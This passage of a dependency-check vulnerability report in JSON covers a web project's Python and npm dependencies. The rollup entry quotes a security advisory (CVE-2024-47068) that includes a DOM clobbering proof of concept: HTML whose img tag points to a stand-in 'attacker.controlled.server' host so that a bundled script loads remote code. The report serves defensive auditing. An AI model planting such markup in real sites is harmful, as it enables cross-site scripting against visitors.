          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/pytest@7.4.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": false,
      "fileName": "python-base-app-0.3.0.tar.gz: python-base-app-0.3.0.tar: PKG-INFO",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/PKG-INFO",
      "md5": "3865d6e7bc3a66ebb7bd6f367f86f1aa",
      "sha1": "03efcd8fa29768e584704540e0b639ae5b694fdd",
      "sha256": "6af9dfd16d91e540c4877a2f29a0026b7a75420fa40a515914f3a4bae4ce5f8d",
      "relatedDependencies": [
        {
          "isVirtual": false,
          "fileName": "python-base-app:0.3.0",
          "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/python_base_app.egg-info\/PKG-INFO",
          "sha256": "6af9dfd16d91e540c4877a2f29a0026b7a75420fa40a515914f3a4bae4ce5f8d",
          "sha1": "03efcd8fa29768e584704540e0b639ae5b694fdd",
          "md5": "3865d6e7bc3a66ebb7bd6f367f86f1aa",
          "packageIds": [
            {
              "id": "pkg:pypi/python-base-app@0.3.0",
              "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/python-base-app@0.3.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
            }
          ]
        }
      ],
      "evidenceCollected": {
        "vendorEvidence": [],
        "productEvidence": [],
        "versionEvidence": []
      }
    },
    {
      "isVirtual": false,
      "fileName": "python-base-app-0.3.0.tar.gz: python-base-app-0.3.0.tar: requirements.txt",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/python_base_app\/test\/resources\/ci_toolbox\/requirements.txt",
      "md5": "47f14c4a4f7809e2f29329c5748a137e",
      "sha1": "621b7828c4bd8fd42c139af3a228f046c17cd040",
      "sha256": "8004a972c3d5c274d8c808e8d8afe03b9aca8af8eebf3df4298f114d8008b754",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGH",
            "source": "file",
            "name": "name",
            "value": "requirements"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGH",
            "source": "file",
            "name": "name",
            "value": "requirements"
          }
        ],
        "versionEvidence": []
      }
    },
    {
      "isVirtual": false,
      "fileName": "python-base-app-0.3.0.tar.gz: python-base-app-0.3.0.tar: requirements.txt",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/requirements.txt",
      "md5": "262eab8770bc1fe8d719461a1b92d87e",
      "sha1": "d820b1689df1d578872a0480cb56bd18a106d5c5",
      "sha256": "ff9305fe2cae1fee27d88fb2c77846d524b2161898ebf4219804e6435a783852",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGH",
            "source": "file",
            "name": "name",
            "value": "requirements"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGH",
            "source": "file",
            "name": "name",
            "value": "requirements"
          }
        ],
        "versionEvidence": []
      }
    },
    {
      "isVirtual": true,
      "fileName": "python-dateutil:2.8.2",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/requirements.txt:python-dateutil\/2.8.2",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "python-dateutil"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "python-dateutil"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.8.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/python-dateutil@2.8.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/python-dateutil@2.8.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "python-dateutil:2.8.2",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/requirements.txt:python-dateutil\/2.8.2",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "python-dateutil"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "python-dateutil"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.8.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/python-dateutil@2.8.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/python-dateutil@2.8.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "python-dateutil:2.8.2",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:python-dateutil\/2.8.2",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "python-dateutil"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "python-dateutil"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.8.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/python-dateutil@2.8.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/python-dateutil@2.8.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "python-dateutil:2.8.2",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:python-dateutil\/2.8.2",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "python-dateutil"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "python-dateutil"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.8.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/python-dateutil@2.8.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/python-dateutil@2.8.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "python-google-speak:0.2.1",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/requirements.txt:python-google-speak\/0.2.1",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "python-google-speak"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "python-google-speak"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "0.2.1"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/python-google-speak@0.2.1",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/python-google-speak@0.2.1?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "python-google-speak:0.2.1",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/requirements.txt:python-google-speak\/0.2.1",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "python-google-speak"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "python-google-speak"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "0.2.1"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/python-google-speak@0.2.1",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/python-google-speak@0.2.1?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "requests:2.32.3",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/requirements.txt:requests\/2.32.3",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "requests"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "requests"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.32.3"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/requests@2.32.3",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/requests@2.32.3?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "requests:2.32.3",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/requirements.txt:requests\/2.32.3",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "requests"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "requests"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.32.3"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/requests@2.32.3",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/requests@2.32.3?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "requests:2.32.3",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/some_flask_helpers\/dist\/some-flask-helpers-0.2.6.tar.gz\/some-flask-helpers-0.2.6.tar\/some-flask-helpers-0.2.6\/requirements.txt:requests\/2.32.3",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "requests"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "requests"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.32.3"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/requests@2.32.3",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/requests@2.32.3?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "requests:2.32.3",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/some_flask_helpers\/requirements.txt:requests\/2.32.3",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "requests"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "requests"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.32.3"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/requests@2.32.3",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/requests@2.32.3?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "requests:2.32.3",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:requests\/2.32.3",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "requests"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "requests"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.32.3"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/requests@2.32.3",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/requests@2.32.3?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "requests:2.32.3",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:requests\/2.32.3",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "requests"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "requests"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.32.3"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/requests@2.32.3",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/requests@2.32.3?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "rollup:3.29.4",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/package-lock.json?rollup",
      "projectReferences": [
        "package-lock.json: transitive"
      ],
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGH",
            "source": "package.json",
            "name": "name",
            "value": "rollup"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "name",
            "value": "rollup"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "version",
            "value": "3.29.4"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:npm\/rollup@3.29.4",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:npm\/rollup@3.29.4?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "NPM",
          "name": "GHSA-gcx4-mw62-g8wm",
          "unscored": "true",
          "severity": "high",
          "cvssv3": {
            "baseScore": 6.400000095367432,
            "attackVector": "NETWORK",
            "attackComplexity": "HIGH",
            "privilegesRequired": "LOW",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "HIGH",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "### Summary\n\nWe discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use `import.meta.url` or with plugins that emit and reference asset files from code  in `cjs`\/`umd`\/`iife` format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present.\n\nIt's worth noting that we\u2019ve identifed similar issues in other popular bundlers like Webpack ([CVE-2024-43788](https:\/\/github.com\/webpack\/webpack\/security\/advisories\/GHSA-4vvj-4cpr-p986)), which might serve as a good reference.\n\n### Details\n\n#### Backgrounds\n\nDOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:\n\n[1] https:\/\/scnps.co\/papers\/sp23_domclob.pdf\n[2] https:\/\/research.securitum.com\/xss-in-amp4email-dom-clobbering\/\n\n#### Gadget found in `rollup`\n\nWe have identified a DOM Clobbering vulnerability in `rollup` bundled scripts, particularly when the scripts uses `import.meta` and set output in format of  `cjs`\/`umd`\/`iife`. In such cases, `rollup` replaces meta property with the URL retrieved from `document.currentScript`.\n\nhttps:\/\/github.com\/rollup\/rollup\/blob\/b86ffd776cfa906573d36c3f019316d02445d9ef\/src\/ast\/nodes\/MetaProperty.ts#L157-L162\n\nhttps:\/\/github.com\/rollup\/rollup\/blob\/b86ffd776cfa906573d36c3f019316d02445d9ef\/src\/ast\/nodes\/MetaProperty.ts#L180-L185\n\nHowever, this implementation is vulnerable to a DOM Clobbering attack. The `document.currentScript` lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the `src` attribute of the attacker-controlled element (e.g., an `img` tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.\n\n### PoC\n\nConsidering a website that contains the following `main.js` script, the devloper decides to use the `rollup` to bundle up the program: `rollup main.js --format cjs --file bundle.js`.\n\n```\nvar s = document.createElement('script')\ns.src = import.meta.url + 'extra.js'\ndocument.head.append(s)\n```\n\nThe output `bundle.js` is shown in the following code snippet.\n\n```\n'use strict';\n\nvar _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;\nvar s = document.createElement('script');\ns.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';\ndocument.head.append(s);\n```\n\nAdding the `rollup` bundled script, `bundle.js`, as part of the web page source code, the page could load the `extra.js` file from the attacker's domain, `attacker.controlled.server` due to the introduced gadget during bundling. The attacker only needs to insert an `img` tag with the name attribute set to `currentScript`. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.\n\n```\n<!DOCTYPE html>\n<html>\n<head>\n  <title>rollup Example<\/title>\n  <!-- Attacker-controlled Script-less HTML Element starts--!>\n  <img name=\"currentScript\" src=\"https:\/\/attacker.controlled.server\/\"><\/img>\n  <!-- Attacker-controlled Script-less HTML Element ends--!>\n<\/head>\n<script type=\"module\" crossorigin src=\"bundle.js\"><\/script>\n<body>\n<\/body>\n<\/html>\n```\n\n### Impact\n\nThis vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of `cjs`, `iife`, or `umd` and use `import.meta`) and allow users to inject certain scriptless HTML tags without properly sanitizing the `name` or `id` attributes.\n\n### Patch\n\nPatching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.\n\n```\nconst getRelativeUrlFromDocument = (relativePath: string, umd = false) =>\n\tgetResolveUrl(\n\t\t`'${escapeId(relativePath)}', ${\n\t\t\tumd ? `typeof document === 'undefined' ? location.href : ` : ''\n\t\t}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`\n\t);\n```\n\n```\nconst getUrlFromDocument = (chunkId: string, umd = false) =>\n\t`${\n\t\tumd ? `typeof document === 'undefined' ? location.href : ` : ''\n\t}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(\n\t\tchunkId\n\t)}', document.baseURI).href)`;\n```\n",
          "notes": "",
          "references": [
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/rollup\/rollup\/commit\/2ef77c00ec2635d42697cff2c0567ccc8db34fb4",
              "name": "https:\/\/github.com\/rollup\/rollup\/commit\/2ef77c00ec2635d42697cff2c0567ccc8db34fb4"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/advisories\/GHSA-gcx4-mw62-g8wm",
              "name": "https:\/\/github.com\/advisories\/GHSA-gcx4-mw62-g8wm"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/rollup\/rollup\/blob\/b86ffd776cfa906573d36c3f019316d02445d9ef\/src\/ast\/nodes\/MetaProperty.ts#L157-L162",
              "name": "https:\/\/github.com\/rollup\/rollup\/blob\/b86ffd776cfa906573d36c3f019316d02445d9ef\/src\/ast\/nodes\/MetaProperty.ts#L157-L162"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/rollup\/rollup\/blob\/b86ffd776cfa906573d36c3f019316d02445d9ef\/src\/ast\/nodes\/MetaProperty.ts#L180-L185",
              "name": "https:\/\/github.com\/rollup\/rollup\/blob\/b86ffd776cfa906573d36c3f019316d02445d9ef\/src\/ast\/nodes\/MetaProperty.ts#L180-L185"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-47068",
              "name": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-47068"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/rollup\/rollup\/commit\/e2552c9e955e0a61f70f508200ee9f752f85a541",
              "name": "https:\/\/github.com\/rollup\/rollup\/commit\/e2552c9e955e0a61f70f508200ee9f752f85a541"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/rollup\/rollup\/security\/advisories\/GHSA-gcx4-mw62-g8wm",
              "name": "https:\/\/github.com\/rollup\/rollup\/security\/advisories\/GHSA-gcx4-mw62-g8wm"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:rollup:\\>\\=3.0.0\\<3.29.5:*:*:*:*:*:*:*"
              }
            }
          ]
        },
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-47068",
          "severity": "MEDIUM",
          "cvssv3": {
            "baseScore": 6.099999904632568,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "CHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "Rollup is a module bundler for JavaScript. Versions prior to 3.29.5 and 4.22.4 are susceptible to a DOM Clobbering vulnerability when bundling scripts with properties from `import.meta` (e.g., `import.meta.url`) in `cjs`\/`umd`\/`iife` format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present. Versions 3.29.5 and 4.22.4  contain a patch for the vulnerability.",
          "notes": "",
          "references": [
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-47068",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-47068"
            },
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-47068?component-type=npm&component-name=rollup&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-47068] CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/rollup\/rollup\/security\/advisories\/GHSA-gcx4-mw62-g8wm",
              "name": "https:\/\/github.com\/rollup\/rollup\/security\/advisories\/GHSA-gcx4-mw62-g8wm"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:rollup:3.29.4:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": false,
      "fileName": "runtime.381efb60ba17f6ba.js",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/dist\/littlebrother-frontend\/runtime.381efb60ba17f6ba.js",
      "md5": "97c477c506a293ce16434f2a7cb46b0b",
      "sha1": "69936ba26c0d9487fdcfa543869394c4da40b99d",
      "sha256": "d13cbd9445029678d7f3bcdf3963c72468dfc59a45987501f1f345632fc628ac",
      "relatedDependencies": [
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: runtime.381efb60ba17f6ba.js",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/static\/angular\/runtime.381efb60ba17f6ba.js",
          "sha256": "d13cbd9445029678d7f3bcdf3963c72468dfc59a45987501f1f345632fc628ac",
          "sha1": "69936ba26c0d9487fdcfa543869394c4da40b99d",
          "md5": "97c477c506a293ce16434f2a7cb46b0b"
        }
      ],
      "evidenceCollected": {
        "vendorEvidence": [],
        "productEvidence": [],
        "versionEvidence": []
      }
    },
    {
      "isVirtual": false,
      "fileName": "scripts.073ca70ed7228520.js",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/dist\/littlebrother-frontend\/scripts.073ca70ed7228520.js",
      "md5": "0c85456a16033cdbcf4eb15ee790ed45",
      "sha1": "25f4972e982222b9208bad50fd2136dc87608e81",
      "sha256": "3e88830478d8a6a875a104cde0f946d486316a7cd11a3f0e0e9315554f3360a3",
      "relatedDependencies": [
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: scripts.073ca70ed7228520.js",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/static\/angular\/scripts.073ca70ed7228520.js",
          "sha256": "3e88830478d8a6a875a104cde0f946d486316a7cd11a3f0e0e9315554f3360a3",
          "sha1": "25f4972e982222b9208bad50fd2136dc87608e81",
          "md5": "0c85456a16033cdbcf4eb15ee790ed45"
        }
      ],
      "evidenceCollected": {
        "vendorEvidence": [],
        "productEvidence": [],
        "versionEvidence": []
      }
    },
    {
      "isVirtual": true,
      "fileName": "secure:0.3.0",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/requirements.txt:secure\/0.3.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "secure"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "secure"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "0.3.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/secure@0.3.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/secure@0.3.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "secure:0.3.0",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/requirements.txt:secure\/0.3.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "secure"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "secure"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "0.3.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/secure@0.3.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/secure@0.3.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "secure:0.3.0",
